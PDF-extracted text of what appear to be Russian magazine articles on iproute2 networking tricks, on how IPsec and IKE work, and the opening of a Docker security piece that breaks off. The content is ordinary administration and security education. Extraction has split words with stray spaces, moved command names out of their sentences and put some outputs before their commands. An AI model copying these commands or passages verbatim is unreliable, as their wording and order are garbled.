На рабочих стан циях и сер верах обыч но такой необ ходимос ти нет, но порой
удоб но иметь незави симые интерфей сы для тес тирова ния сетевых при ложе‐ 
ний. Нап ример, ког да нуж но пос мотреть, как при ложе ние поведет себя, если
интерфейс  уйдет  в  down,  но  соз давать  ради  это го  вир туаль ную  машину
или отклю чать реаль ную сетевую кар ту не хочет ся.

Го раз до чаще эта воз можность при меня ется на мар шру тиза торах. У каж‐ 
дого  мар шру тиза тора  обыч но  нес коль ко  адре сов,  в  свя зи  с  чем  воз ника ет
проб лема выбора основно го адре са для управле ния и для сес сий про токо лов
вро де BGP, которые не исполь зуют multicast.

Ка кой  выб рать? Любой интерфейс мар шру тиза тора потен циаль но может
уйти  в  down,  но  сес сии  BGP  и  SSH  дол жны  работать.  Пос коль ку  loopback
или dummy самоп роиз воль но не уйдет в down никог да, мож но прис воить ему
отдель ный  адрес  и  анон сировать  его  осталь ной  сети  через  про токол OSPF
(Open Shortest Path  First),  который исполь зует multicast  и  не  зависит от  кон‐ 
крет ных  адре сов  интерфей сов.  В  этом  слу чае  адрес  на  loopback  оста нет ся
дос тупным, если у мар шру тиза тора есть хотя бы один живой канал в осталь‐ 
ную сеть.

MACVLAN
У  любого  интерфей са  L2  может  быть  один  и  толь ко  один  MAC‐адрес.  Что
делать,  если  хочет ся  отправ лять  кад ры  с  раз ным  MAC‐адре сом  с  одно го
физичес кого интерфей са?

У  ядра  Linux  на  это  есть  ответ,  и  тип  таких  интерфей сов  называ ется
. Соз дать и под нять его мож но сле дующи ми коман дами:macvlan

$ sudo ip link add name macvlan0 link eth0 type macvlan
$ sudo ip link macvlan0 up

В опции   мы ука зыва ем родитель ский физичес кий интерфейс. По умол‐ 
чанию  исполь зует ся  слу чай ный  MAC‐адрес,  но  нич то  не  меша ет  прис воить
любой дру гой коман дой  .

link

ip link set dev macvlan0 address <some MAC>
Пос мотрим на ста тус нового интерфей са:

$ ip li sh macvlan0
3: macvlan0@eno1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc 
noqueue state UP mode DEFAULT group default qlen 1000
   link/ether 8a:01:12:8f:1f:7c brd ff:ff:ff:ff:ff:ff

Ес ли  прис воить  нашему  вир туаль ному  интерфей су  адрес
из  сети  203.0.113.0/24,  мож но  уви деть,  что  весь  тра фик  в  эту  сеть  отправ‐ 
ляет ся с MAC‐адре са от macvlan0, а не родитель ско го eth0.

 

 

 
 

tcpdump: verbose output suppressed, use ‐v or ‐vv for full protocol de‐
code 
listening on eth0, link‐type EN10MB (Ethernet), capture size 262144 
bytes 
20:49:21.988045 8a:01:12:8f:1f:7c > Broadcast, ethertype ARP (0x0806), 
length 42: Request who‐has 203.0.113.1 tell 203.0.113.90, length 28

$ ip address add 203.0.113.90/25 dev macvlan0
$ tcpdump ‐eni eth0 dst 203.0.113.1

ЗЕРКАЛИРОВАНИЕ ТРАФИКА
Зер калиро вание  и  перенап равле ние  обыч но  орга низу ют  на  ком мутато рах.
Но  если  нуж но  сде лать  это  на  сер вере  или  мар шру тиза торе  с  Linux,  ник то
не зап ретит.

Пра вила зер калиро вания соз дают ся с помощью  . Мы рас смот рим толь‐ 
ко  прос тей ший  слу чай:  готовый  рецепт  для  зер калиро вания  с    на 
(интерфей сы мож но под ста вить любые):

tc
dum0 dum1

$ tc qdisc add dev dum0 ingress
$ tc filter add dev dum0 parent ffff: protocol all u32 match u8 0 0 
action mirred egress mirror dev dum1

$ tc qdisc add dev dum0 handle 1: root prio
$ tc filter add dev dum0 parent 1: protocol all u32 match u8 0 0 
action mirred egress mirror dev dum1

Оп ция    поз воля ет  как  копиро вать,  так  и  перенап равлять  пакеты
с  одно го  интерфей са  на  дру гой.  В  сочета нии  с  клас сифика тора ми  тра фика
из    мож но  нас тро ить  самые  раз ные  сце нарии,  от  зер калиро вания  толь ко
опре делен ного  тра фика  до  отправ ки  тра фика  сверх  опре делен ной  полосы
про пус кания на дру гой интерфейс.

mirred

tc

МАРШРУТЫ BLACKHOLE
С помощью мар шру тов мож но не толь ко отпра вить пакеты на опре делен ный
шлюз, но и прос то изба вить ся от ненуж ных пакетов. Мар шру тиза ция сра баты‐ 
вает до меж сетево го экра на, и про вер ка адре са выпол няет ся быс трее.

За ражен ные  хос ты  шлют  тра фик  к  кон трол леру  бот нета  по  адре‐ 
су 192.0.2.10? Прос то добавь такой мар шрут:

$ ip route add blackhole 192.0.2.10/32

Те перь тра фик к 192.0.2.10 ядро будет сра зу отправ лять в  . Кро ме
blackhole,  есть  и  дру гие  виды  мар шру тов,  которые  отли чают ся  дей стви ями
ядра. Их мож но исполь зовать, что бы точ нее сооб щить кли енту, что про исхо‐ 
дит, или для эму ляции раз ных ситу аций в сети.

/dev/null

 — унич тожить пакет и ничего не делать;• blackhole

 — унич тожить пакет и отпра вить кли енту ICMP host prohibited;• prohibit

  —  унич тожить  пакет  и  отпра вить  кли енту  ICMP  host
unreachable;

• unreachable

 — унич тожить пакет и отпра вить кли енту ICMP net unreachable.• throw

В мар шру тиза торах BGP у мар шру тов blackhole есть и более инте рес ное при‐ 
мене ние, но это дру гая исто рия.

ГРУППЫ ИНТЕРФЕЙСОВ
Воз можность работать  с  диапа зона ми пор тов — при выч ное дело для  поль‐ 
зовате лей  управля емых  ком мутато ров.  Для  тех,  кто  ску чает  по  этой  воз‐ 
можнос ти в Linux, такая фун кци ональ ность есть в iproute2.

Не удобс тво  сос тоит  в  том,  что  интерфей сы  нуж но  добав лять  в  груп пы
по одно му, коман дой  . Номер груп пы
дол жен  быть  в  диапа зоне  от  1  до  255,  по  умол чанию  интерфей сы  при над‐ 
лежат груп пе 0.

ip link set <intf> group <number>

Соз дадим пару интерфей сов dummy и добавим их в груп пу номер 10:

$ ip link add name dum0 type dummy
$ ip link add name dum1 type dummy
$ ip link set dum0 group 10
$ ip link set dum1 group 10

Как обыч но, интерфей сы соз дают ся в вык лючен ном сос тоянии:

 

 

 
4: dum0: 
$ ip link show group 10

 mtu 1500 qdisc noop state DOWN mode DEFAULT group 10 qlen 1000 
  link/ether 22:b4:dc:27:2f:6d brd ff:ff:ff:ff:ff:ff 
5: dum1:  mtu 1500 qdisc noop state DOWN mode DEFAULT group 10 qlen 1000 
  link/ether 5a:da:93:ab:9d:a7 brd ff:ff:ff:ff:ff:ff

Те перь мы можем вклю чить их все сра зу:

 

 

 
 

4: dum0: 

$ sudo ip link set group 10 up
$ ip link show group 10

 mtu 1500 qdisc noqueue state UNKNOWN mode DEFAULT group 10 
qlen 1000 
  link/ether 22:b4:dc:27:2f:6d brd ff:ff:ff:ff:ff:ff 
5: dum1:  mtu 1500 qdisc noqueue state UNKNOWN mode DEFAULT group 10 
qlen 1000 
  link/ether 5a:da:93:ab:9d:a7 brd ff:ff:ff:ff:ff:ff

К сожале нию, прос того спо соба уви деть спи сок групп в Linux нет. Зато есть
воз можность  прис воить  груп пам  понят ные  челове ку  име на.  Соот ветс твие
номеров и имен хра нит ся в фай ле  ./etc/iproute2/group

По  умол чанию  там  опре деле на  толь ко  груп па  0,  новые  записи  лег ко
добавить по ана логии:

 

 

 
 

0   default

$ cat /etc/iproute2/group
# device group names

БОЛЬШЕ СИМВОЛЬНЫХ ИМЕН
Кро ме  групп  интерфей сов,  прис воить  сим воль ные  име на  мож но  и  дру гим
объ ектам. В   най дут ся фай лы нас тро ек для раз ных целей./etc/iproute2/

Нап ример,  если  ты  исполь зуешь  policy‐based  routing,  мож но  прис воить
име на  таб лицам  мар шру тиза ции,  добавив  записи  в 

:
/etc/iproute2/rt_ta‐

bles

$ echo "10 cheap_isp" >> /etc/iproute2/rt_tables
$ echo "20 good_isp" >> /etc/iproute2/rt_tables

ПОТОЧНОЕ ВЫПОЛНЕНИЕ КОМАНД IPROUTE2
Все дав но при вык ли к   и  ,  но вот  коман ды
 очень час то так и вво дят по одной даже в скрип тах.

iptables‐save iptables‐restore
ip

Меж ду тем там дав но сущес тву ет опция  , которая поз воля ет читать
коман ды из фай ла. Писать   в коман дах внут ри фай ла не нуж но. Вот так мож‐ 
но было бы авто мати зиро вать соз дание интерфей сов dummy из пре дыду щих
пун ктов:

‐batch
ip

$ cat /tmp/dummy‐intfs
link add dum0 type dummy
link add dum1 type dummy
link set dum0 up
link set dum1 up

$ ip ‐batch /tmp/dummy‐intfs

МАШИНОЧИТАЕМЫЙ ВЫВОД ИНФОРМАЦИИ
Ес ли  ты  все  еще  пар сишь  вывод  ifconfig  в  скрип тах  и  при  этом  нецен зурно
руга ешь ся,  у  меня  для  тебя  хорошие  новос ти:  у  iproute2  име ются  опции,
которые поз волят тебе и тво им кол легам наконец взять детей на работу.

Мож но получить вывод либо в тра дици онном для UNIX фор мате из полей
с раз делите лями, либо в JSON.

Оп ция    ( )  иде аль на  для  раз бора  с  помощью    или 
  и  отлично  подой дет  для  при мене ния  в  тра дици онных  скрип тах

Shell:

‐‐brief ‐br cut
awk ‐F' '

 

 

 

 
macvlan0@eth0 UP 8a:01:12:8f:1f:7c 
$ ip ‐‐brief link show macvlan0

 

 
macvlan0@eth0 UP 203.0.113.90/25 fe80::8801:12ff:fe8f:1f7c/64 
$ ip ‐‐brief address show macvlan0

Ес ли адре сов у интерфей са нес коль ко, они все будут выведе ны через про бел
пос ле сос тояния интерфей са, сна чала IPv4, затем IPv6.

Вы вод в JSON
Ес ли ты решил пор вать с прош лым и пишешь скрип ты, к при меру, на Python,
вывод в JSON может быть пред почти тель нее.

Эта воз можность в iproute2 появи лась недав но (с вер сии 4.13) и име ет ряд
осо бен ностей, гра нича щих с багами. Наде юсь, их испра вят в сле дующих вер‐ 
сиях.

Важ ный  момент:  опции    и    не  вза имоис клю чающие.  Их
мож но ука зать одновре мен но, в этом слу чае вывод будет менее деталь ным.

‐‐json ‐‐brief

Пос мотрим на при мер вывода для  :ip address show

$ ip ‐‐json ‐‐brief address show macvlan0

[
   {},{},
   {
     "link": "eth0",
     "ifname": "macvlan0",
     "operstate": "UP",
     "addr_info": [
       {
         "local": "203.0.113.90",
         "prefixlen": 25
       },
       {
         "local": "203.0.113.91",
         "prefixlen": 25
       },
       {
         "local": "fe80::8801:12ff:fe8f:1f7c",
         "prefixlen": 64
       }
     ]
   },
   {},{},{},{},{},{}
 ]

Нес коль ко  неудоб но,  что  мы  получа ем  не  ассо циатив ный  мас сив  с  име нем
интерфей са  в  качес тве  индекса,  а  обыч ный  мас сив  с  объ екта ми  внут ри.
Более  того,  если  отфиль тро вать  вывод,  ука зав  имя  инте ресу юще го
интерфей са,  на  мес те  непока зан ных  интерфей сов  будут  пус тые  зна чения,
которые при дет ся отфиль тро вывать самому.

Тем  не  менее  вывод  не  под вержен  ошиб кам  раз бора,  пре дос тавля ет
боль шое количес тво информа ции (осо бен но без  ) и не слиш ком сло‐ 
жен в работе, хотя прос тор для улуч шений явно есть.

‐‐brief

ЗАКЛЮЧЕНИЕ
На деюсь, эти воз можнос ти помогут тебе успешно нас тро ить и отла дить твою
сеть и при этом сэконо мить вре мя. Если не нашел нуж ное, не забывай смот‐ 
реть в докумен тацию — поч ти навер няка что‐нибудь для тво ей ситу ации там
оты щет ся.
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АДМИН

IPsec — слож ный стек про токо лов. На кли ент ской сто роне он
обыч но  авто мати зиро ван,  что  в  сочета нии  с  его  наз вани ем
лег ко  может  выз вать  у  поль зовате ля  ощу щение  пол ной
безопас ности. Одна ко не всег да оправдан ное. Толь ко IPsec
из про токо лов, при год ных для орга низа ции VPN, под держи‐ 
вают  все  сетевые  ОС,  поэто му  у  тебя  есть  неп лохой  шанс
с ним стол кнуть ся. И что бы быс тро нас тра ивать соеди нения
и  пра виль но  оце нивать  их  безопас ность,  нуж но  понимать,
как работа ет про токол.

ИЗ ЧЕГО СОСТОИТ IPSEC?
IPsec — это не один про токол, а три или четыре, смот ря как счи тать. В Open‐
VPN  и  дру гих  решени ях  на  осно ве  TLS  все  прос то:  уста нав лива ется  соеди‐ 
нение  по  TCP  или  UDP,  сог ласовы вают ся  парамет ры,  а  затем  переда ются
дан ные.

В IPsec за сог ласова ние парамет ров и собс твен но переда чу дан ных отве‐ 
чают раз ные про токо лы. В Linux, BSD и мно гих спе циали зиро ван ных ОС мар‐ 
шру тиза торов тун нель мож но нас тро ить вруч ную, без помощи управля юще го
про токо ла.

AH И ESP
Три основных ком понен та безопас ности — дос тупность, аутен тичность и кон‐ 
фиден циаль ность. IPsec может обес печивать аутен тичность, при этом ничего
не делая для кон фиден циаль нос ти.

Про токол  AH  ( )  добав ляет  в  пакет  спе циаль ный
заголо вок  с  кон троль ной  сум мой.  На  прак тике  он  исполь зует ся  ред ко,  пос‐ 
коль ку никак не спо собс тву ет кон фиден циаль нос ти.

Authentication  Header

Тем не менее его мож но встре тить в при ложе ниях, где важ на толь ко аутен‐ 
тичность. К при меру,  про токол мар шру тиза ции OSPFv2 исполь зовал пароли
и  сум мы  MD5  для  защиты  от  под дель ных  анон сов,  а  его  нас ледник
OSPFv3 не вклю чает никакой фун кци ональ нос ти для защиты — вмес то это го
пред лага ется  исполь зовать  IPsec  в  тран спортном  (проз рачном)  режиме  и  с
одной под писью AH без шиф рования.

ESP ( ) шиф рует содер жимое пакета и добав‐ 
ляет  хеши.  Его мож но исполь зовать  в  двух  режимах —  тран спортном и  тун‐ 
нель ном. Это сей час в сетях  IPv4 любой VPN немыс лим без мар шру тиза ции
час тных (серых) адре сов через тун нель, пос коль ку со внеш ним миром хос ты
обща ются  через  NAT.  Но  IPsec  стар ше  NAT  и  изна чаль но  шиф ровал  толь ко
полез ную наг рузку пакетов, не тро гая заголов ки, — это и есть тран спортный
режим.

Encapsulated Security Payload

В тун нель ном режиме ESP шиф рует весь пакет и переда ет его как полез‐ 
ную наг рузку, на дру гой сто роне он извле кает ся, рас шифро выва ется и мар‐ 
шру тизи рует ся даль ше.

Что  инте рес но,  оба  они  не  работа ют  поверх  TCP  или UDP,  а  исполь зуют
отдель ные  номера  про токо лов  IP.  Во  вся ком  слу чае,  по  умол чанию —  ESP
может быть инкапсу лиро ван в UDP для работы через NAT, но об этом поз же.

ФРЕЙМВОРК ДЛЯ УПРАВЛЯЮЩИХ ПРОТОКОЛОВ — ISAKMP
Об щие  прин ципы  сог ласова ния  нас тро ек  безопас ности  опи сыва ет  ISAKMP
(Internet Security Association and Key Management Protocol). Он опи сан в 

.
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ISAKMP  не  явля ется  закон ченным  сетевым  про токо лом.  Это фрей мворк,

который  опи сыва ет  тре бова ния  к  безопас ной  работе  про токо лов  обме на
нас трой ками  безопас ных  соеди нений,  тер миноло гию  и  общий  фор мат
пакетов,  но  ничего  не  говорит  о  кон крет ных  про токо лах  обме на  клю чами,
шиф рования и про чего — это оста ется на совес ти реали заций.

Имен но из ISAKMP про исхо дят тер мины Phase 1 и Phase 2, которые час то
мож но  встре тить  в  интерфей се  нас трой ки  мар шру тиза торов  и  в  опи сани ях
нас тро ек  для  под клю чения.  Phase  1 —  сог ласова ние  парамет ров  безопас‐ 
ного  обме на  дан ными  о  нас трой ках.  Phase  2  —  сог ласова ние  парамет ров
собс твен но защиты переда ваемо го тра фика хос тов или при ложе ний.

Са мая популяр ная и прак тичес ки единс твен ная реали зация ISAKMP — IKE.

УПРАВЛЯЮЩИЙ ПРОТОКОЛ — IKE
IKE (Internet Key Exchange) — реаль ный управля ющий про токол IPsec на осно‐ 
ве ISAKMP. На прак тике мож но ска зать, что Phase 1 — сог ласова ние нас тро ек
IKE, а Phase 2 — сог ласова ние нас тро ек ESP.

В  UNIX‐подоб ных  сис темах  IKE  —  это  единс твен ная  часть  сте ка  IPsec,
которая работа ет в виде обыч ного про цес са. Само шиф рование реали зова‐ 
но в ядре, и демон IKE переда ет ему парамет ры пос ле сог ласова ния со вто‐ 
рой сто роной. В Linux это про исхо дит через netlink или коман ды  .ip xfrm
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Под систе ма XFRM в Linux обыч но ассо циирует ся
с  IPsec,  но  может  выпол нять  и  дру гие  пре обра‐ 
зова ния, нап ример сжа тие полез ной наг рузки.

По пуляр ные  пакеты  «для  IPsec»  вро де  StrongSWAN  и  LibreSWAN  реали зуют
имен но IKE.

Сог ласова ние нас тро ек шиф рования
В  IKE  есть  воз можность  пред ложить  вто рой  сто роне  нес коль ко  вари антов
на  выбор,  и  соеди нение  будет  уста нов лено,  если  у  обе их  сто рон  най дет ся
хотя бы один сов пада ющий вари ант. Это общий прин цип работы про токо лов
обме на клю чами, TLS работа ет  так же, но в TLS пери оди чес ки уда ляют под‐ 
дер жку уста рев ших алго рит мов. В IKE безопас ность выбора алго рит мов оста‐ 
ется на совес ти поль зовате ля. Заведо мо уяз вимые DES и MD5 из про токо ла
офи циаль но  не  исклю чены  и  до  сих  пор  под держи вают ся  мно гими  реали‐ 
заци ями.

С  каж дым  тун нелем  ассо цииро вано  одно  или  нес коль ко  «пред ложений»
(proposals).  Пред ложения  обра баты вают ся  до  пер вого  сов падения.  Отсю да
следс твие:  впол не  воз можна  ситу ация,  ког да  злов редный  (или  безот ветс‐ 
твен но  нас тро енный)  сер вер  пред ложит  кли енту  уста рев шие  алго рит мы,
а неак курат но нас тро енный кли ент сог ласит ся. У некото рых кли ентов вооб ще
может  не  быть  воз можнос ти  выб рать  алго рит мы  вруч ную,  а  осо бо  ленивые
адми ны  любят  делать  для  всех  кли ентов  один  боль шой  proposal  со  все ми
мыс лимыми  алго рит мами.  Сор тировать  алго рит мы  по  надеж ности  стан дарт
не  обя зыва ет,  и  сто роны  впол не  могут  догово рить ся  на шифр  полуве ковой
дав ности.

Бо лее  того,  офи циаль но  под держи вает ся  null  cipher  —  опция  не  шиф‐ 
ровать тра фик вооб ще.

Что бы  убе дить ся  в  безопас ности  нас тро ек,  в  иде але  нуж но  нем ного
понимать  прин ципы  крип тогра фии  и  сле дить  за  новос тями.  Тем  не  менее
мож но при вес ти ряд рецеп тов.
1. Ни в коем слу чае нель зя сог лашать ся ни на что, что кон чает ся на  . ECB
(Electronic Code Book) — чрез вычай но небезо пас ный режим работы блоч‐ 
ных  шиф ров.  Суть  проб лемы  наг лядно  демонс три рует  зна мени тый 

.  Хороший  шифр  в  невер ном  режиме —  пло хой  шифр.  AES‐128‐
CBC — хорошо, AES‐128‐ECB — пло хо.

ecb

ECB
penguin

2. 3DES  и  Blowfish  до  недав него  вре мени  счи тались  надеж ными,  но  уяз‐ 
вимость    показа ла,  что  это  не  так.  AES‐128,  AES‐256,  Twofish
и дру гие шиф ры с 128‐бит ными бло ками — все еще разум ный выбор.

SWEET32

3. Груп пы  для    DH1024  (group  2)  и  DH1536
(group 5) так же приз наны уяз вимыми. Нуж но исполь зовать DH2048 (group
14) или груп пы на эллипти чес ких кри вых.

ал горит ма  Диф фи —  Хел лма на
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В IKE впол не мож но исполь зовать раз ные наборы
алго рит мов для Phase 1 и Phase 2. Смыс ла в этом
нем ного, но воз можность име ется.

Diffie — Hellman и PFS
PFS  ( )  —  рекомен дуемая  опция,  которую  мно гие
оставля ют вык лючен ной, а зря, осо бен но если исполь зует ся pre‐shared key.

Perfect  Forward  Secrecy

В  этом  режиме  из  клю чей  обе их  сто рон  генери рует ся  пери оди чес ки
обновля емый  сес сион ный  ключ  и  сог ласу ется  с  помощью  алго рит ма  Диф‐ 
фи —  Хел лма на  (DH).  В  пре дель но  упро щен ной  фор мулиров ке  он  осно ван
на том, что воз вести чис ло в сте пень прос то, а вычис лить логарифм — гораз‐ 
до  слож нее.  При  исполь зовании  PFS,  если  кто‐то  получит  дос туп  к  обще му
клю чу, он не смо жет рас шифро вать им перех вачен ный тра фик, в этом и суть
forward  secrecy. Подоб ранный  ключ от одной сес сии  так же не поможет рас‐ 
шифро вать пос леду ющие, при усло вии, что чис ла дос таточ но боль шие, имен‐ 
но поэто му DH1024 и DH1536 ста ли небезо пас ны — сов ремен ное железо уже
дос таточ но быс трое для их взло ма.

Па раметр  Phase2  lifetime  (ESP  lifetime)  ука зыва ет,  как  час то  дол жен
менять ся  ключ.  Вре мя  жиз ни  клю ча —  чис то  локаль ный  параметр,  который
не сог ласу ется через IKE и может ока зать ся раз ным на раз ных сто ронах. Если
твои  тун нели  IPsec  сна чала  переда ют  тра фик,  а  потом  вдруг  перес тают
работать, про верь, сов пада ет ли вре мя жиз ни клю ча на обе их сто ронах.

SECURITY ASSOCIATIONS
В отли чие от OpenVPN или wireguard,  IPsec сам по себе не соз дает никаких
вир туаль ных  интерфей сов.  Во  вре мена  его  зарож дения  у  каж дого  хос та
в интерне те был пуб личный адрес и никакой пот ребнос ти в вир туаль ных сетях
с  отдель ной  адре саци ей  прос то  не  было.  Вир туаль ными  интерфей сами
занима ются  отдель ные  про токо лы,  нап ример  L2TP  или GRE,  а  IPsec  толь ко
шиф рует их тра фик. Мно гие плат формы под держи вают VTI — ассо цииро ван‐ 
ный с соеди нени ем IPsec вир туаль ный интерфейс, но на деле это все го лишь
авто мати зиро ван ная нас трой ка IPIP поверх IPsec.

Вмес то тун нелей IPsec опе риру ет еще более абс трак тны ми сущ ностя ми —
security  associations.  Они  не  явля ются  сетевы ми  соеди нени ями,  это  прос то
наборы  парамет ров,  которые  ука зыва ют,  какой  тра фик  и  как  шиф ровать.
К  при меру,  «тра фик  из  192.168.1.0/24  в  10.1.0.0/24  зашиф ровать  AES‐
128 и добавить сум му SHA‐1».

Security associations сущес тву ют на обе их сто ронах незави симо и не могут
обор вать ся сами по себе, в отли чие от сетевых соеди нений. Если ты видишь
на сво ей сто роне живую SA, это еще не зна чит, что тра фик нор маль но пой дет
на  вто рую  сто рону  тун неля.  Не  забывай  про верять,  что  все  на  самом  деле
работа ет. Что бы вто рая сто рона мог ла узнать, что у тебя про исхо дит, нуж но
нас тро ить  dead  peer  detection  (для  IKEv1)  или  исполь зовать  IKEv2,  где  есть
liveness check.

В  слу чае  с  dead  peer  detection  не  забывай  про верять,  что  парамет ры
на  обе их  сто ронах  сов пада ют,  ина че  мож но  надол го  остать ся  с  тун нелем,
который толь ко выг лядит как живой.

NAT TRAVERSAL
IPsec появил ся до NAT и в сво ем чис том виде работать за NAT не может. Эту
воз можность  к  нему  прик рутили  поз же.  Сам  ESP —  отдель ный  про токол  IP
с номером 50. Для работы за NAT его инкапсу лиру ют в UDP. В этом слу чае IKE
и инкапсу лиро ван ный ESP исполь зуют один порт — UDP/4500.

Из началь но от NAT стра дали поль зовате ли кли ент ских соеди нений вро де
L2TP и IPsec. Популяр ность облачных плат форм, где вмес то прис воения хос‐ 
там пуб личных адре сов эти адре са раз дают через 1:1, NAT сде лала эту проб‐ 
лему акту аль ной и для соеди нений меж ду мар шру тиза тора ми.

При этом может воз никнуть неожи дан ная проб лема: если на дру гой сто‐ 
роне тун нель нас тро ен на фик сирован ный адрес, даже если NAT traversal под‐ 
держи вает ся, соеди нение не зарабо тает.

Де ло в том, что в пакетах IKE при сутс тву ет иден тифика тор хос та. По умол‐ 
чанию  боль шинс тво  реали заций  исполь зуют  в  качес тве  иден тифика тора
адрес  интерфей са,  с  которо го  отправ ляют ся  пакеты,  и  в  слу чае  с  NAT  он
перес тает  сов падать  с  адре сом источни ка,  ког да пакеты доходят до  вто рой
сто роны.

Ре шение  прос тое:  ник то  не  обя зыва ет  исполь зовать  иден тифика тор
по умол чанию. В него мож но про писать вооб ще любую стро ку, иног да даже
необ ходимо,  к  при меру если  у  вто рой  сто роны нет фик сирован ного  адре са
или исполь зует ся x.509.

Нап ример, в StrongSWAN:

conn mypeer
 left=%defaultroute
 leftid="192.0.2.10"

IKEV1 VS IKEV2
У  IKE  есть  две  вер сии  —  IKEv1  и  IKEv2.  IKEv2  получи ла  сколь ко‐нибудь
широкое рас простра нение толь ко в пос ледние нес коль ко лет, и то не вез де,
но у нее есть ряд ощу тимых пре иму ществ.

Окон чатель ная  стан дарти зация работы  через NAT — в боль шинс тве  слу‐ 
чаев она теперь прос то работа ет.

•

Liveness check — двус торон ний keepalived для про вер ки, живы ли SA.•
Воз можность  сов местить  нес коль ко  кри тери ев  шиф рования  тра фика
в одной SA.

•

В  IKEv1 на каж дую пару локаль ных и уда лен ных адре сов нуж на была отдель‐ 
ная SA. К при меру, если хос там 192.168.1.1 и 192.168.1.2 нужен дос туп через
тун нель  к  10.1.0.1  и  10.1.0.2,  демон  IKE  соз даст  четыре  отдель ные  SA.
IKEv2 в этом смыс ле более гиб кая.

В IKEv2 так же окон чатель но уда лен  , в котором парамет‐ 
ры  Phase  1  и  Phase  2  переда вались  одновре мен но.  Зна читель ная  часть
реали заций, впро чем, дав но перес тала его под держи вать и в IKEv1 из‐за оче‐ 
вид ных проб лем с безопас ностью такого под хода.

aggressive mode

Ес ли  обе  сто роны  под держи вают  IKEv2,  луч ше  исполь зовать  имен но  ее.
Если инте рес но почитать стан дарт, она опи сана в  .RFC 5996

ЗАКЛЮЧЕНИЕ
На деюсь, если IPsec был для тебя загадоч ным, теперь прин ципы его работы
ста ли  понят нее.  Не  забывай,  что  безопас ность  парамет ров  шиф рования
на тво ей совес ти и что не все кон флик ты нас тро ек обна ружат ся авто мати чес‐ 
ки.

Ес ли тебе будет инте рес но, в сле дующий раз я напишу о типич ных ошиб‐ 
ках в нас трой ке и спо собах опре делить, что пош ло не так, даже если кон фиг
вто рой сто роны недос тупен, а адми ны неком петен тны.

mailto:daniil@baturin.org
http://www.omnisecu.com/security/ipsec/ipsec-authentication-header-ah.php
https://www.ibm.com/support/knowledgecenter/en/ssw_ibm_i_74/rzaja/rzajaesp.htm
https://tools.ietf.org/html/rfc2408
https://blog.filippo.io/the-ecb-penguin/
https://sweet32.info/
https://habr.com/ru/post/151599/
https://ru.wikipedia.org/wiki/Perfect_forward_secrecy
https://tools.ietf.org/html/rfc5996
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Docker — прек расная вещь, которая может эко номить мас су
сил  и  вре мени.  В  этой  статье  мы  погово рим  о  том,
как исполь зовать Docker мак сималь но безопас но и отлавли‐ 
вать  потен циаль ные  угро зы  заранее.  Так же  ты  най дешь
здесь  готовые  рекомен дации,  коман ды  и  инс тру мен ты,
которые лег ко исполь зовать в сво ем про екте.

Кон тей нер ная  вир туали зация  на  базе  Docker  край не  популяр на  сре ди  De‐
vOps‐адми нов.  Она  поз воля ет  быс тро  рас катать  инс тру мен ты  раз работ ки
и  тес тирова ния  ПО  или  целые  про екты  из  мно гих  ком понен тов.  И  все  бы
хорошо, если бы не целый  класс спе цифи чес ких  угроз безопас ности. Это и
воз можность побега из кон тей нера в хос товую сис тему, и шат даун инстан са
в резуль тате «отка за в обслу жива нии», и кей сы с экс плу ата цией уяз вимос тей
ядра ОС, и под кидыва ние заранее ском про мети рован ных эта лон ных обра зов
в репози торий, и тому подоб ные ата ки.

В этом матери але мы с помощью админ ской сме кал ки, пря мых рук и всех
дос тупных  штат ных  средств  Linux  научим ся  нас тра ивать  мак сималь но
безопас ное и  кон тро лиру емое DevOps‐окру жение на осно ве  кон тей нериза‐ 
ции Docker.

Гла зами безопас ника
Мы уже не раз рас ска зыва ли о самой  , пуб ликова ли

 по ней,   и на паль цах
объ ясня ли,  как  .  Одна ко  воп рос  нас трой ки  опций
безопас ности  для  кон тей неров  все  это  вре мя  оста вал ся  в  сто роне. Сей час
мы пос мотрим на Docker  гла зами спе ца по безопас ности  (или  хакера, если
уж мы всерь ез под няли эту тему).

сис теме кон тей нериза ции
боль шой FAQ рас кры вали мало извес тные трю ки и фиш ки

сде лать  свою  песоч ницу

ЧТО ТАКОЕ DOCKER И КАК ОН РАБОТАЕТ
 — это ПО для авто мати зации раз верты вания при ложе ний и управле‐ 

ния  ими  в  сре дах  с  под дер жкой  кон тей нериза ции.  Соф тина  поз воля ет  упа‐ 
ковы вать любое при ложе ние со всем его окру жени ем и зависи мос тями в спе‐ 
циаль ный кон тей нер, который мож но запус тить в любом сов ремен ном Linux.

Docker

Та ким обра зом,  каж дый  соз данный нами  кон тей нер  уже  вклю чает  в  себя
все необ ходимое для работы при ложе ния — биб лиоте ки, сис темные инс тру‐ 
мен ты,  код и сре ду исполне ния. Бла года ря Docker DevOps‐адми нис тра торы
и  раз работ чики  могут  быс тро  раз верты вать,  мас шта биро вать  и  запус кать
свои при ложе ния в любой сре де и быть при этом уве рен ными, что написан‐ 
ный код будет нор маль но работать.

Docker  име ет  мно гие  фиш ки,  которые  есть  у  сис тем  тра дици онной  вир‐ 
туали зации. К при меру:

не зави симость  —  кон тей нер  мож но  перемес тить  на  любую  ОС  с  пред‐ 
варитель но под нятой служ бой Docker и запус тить одной коман дой;

•

са модос таточ ность — кон тей нер будет выпол нять все задан ные ему фун‐ 
кции  в  любом мес те,  где бы  его  ни  запус тили,  без  допол нитель ной  нас‐ 
трой ки и обслу жива ния.

•

Од нако  в  отли чие  от  тра дици онной  вир туали зации,  где  образ  мы,  как  пра‐ 
вило,  фор миру ем  сами,  Docker  работа ет  с  обра зами,  взя тыми  из  репози‐ 
тори ев.  Сущес тву ют  пуб личные  и  при ват ные  хра нили ща  офи циаль ных
и  неофи циаль ных  обра зов.  В  докумен тации  они  называ ются  docker  registry.
А  самый  популяр ный  на  сегод ня  и  час то  исполь зуемый  репози торий  —
это  .Docker Hub

Срав нение Docker и VM

Docker  image —  это  пос ледова тель ный  набор  прог рам мных  сло ев.  Каж дый
слой — резуль тат работы коман ды в кон фигура цион ном фай ле  . То
есть образ — это шаб лон, на осно ве которо го мы запус каем кон тей нер. А вот
все, что запус кает ся на осно ве это го обра за, и есть сам кон тей нер (инстанс).
В  ито ге  у  Docker  появ ляет ся  очень  полез ная  фича,  которая  поз воля ет
из  одно го  под готов ленно го  обра за  запус кать  нес коль ко  оди нако вых  копий
это го обра за, то есть кон тей неров.

Dockerfile

INFO

Docker,  как  и  любое  дру гое  ПО,  к  сожале нию,
име ет  свои  уяз вимос ти  и  недос татки  безопас‐ 
ности, которые может про экс плу ати ровать хакер.
Мы  ранее  уже  писали  про 

